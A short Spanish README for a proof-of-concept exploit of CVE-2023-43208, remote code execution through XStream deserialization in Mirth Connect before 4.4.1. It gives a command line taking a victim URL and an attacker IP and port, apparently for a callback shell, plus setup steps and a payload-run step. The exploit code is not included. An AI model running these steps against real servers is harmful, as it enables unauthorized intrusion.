
Explota vulnerabilidad
Este script es una Prueba de Concepto (PoC) para la vulnerabilidad de Ejecución Remota de Código (RCE) en Mirth Connect (versiones anteriores a la 4.4.1). Explota una vulnerabilidad de deserialización de XStream a través de la API.
python3 CVE-2023-43208.py -u [https://IP-victima] -lh [IP-atacante] -lp [puerto]
Se recomienda el uso de un entorno virtual:
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
#Ejecucion de payload
python3 payload.py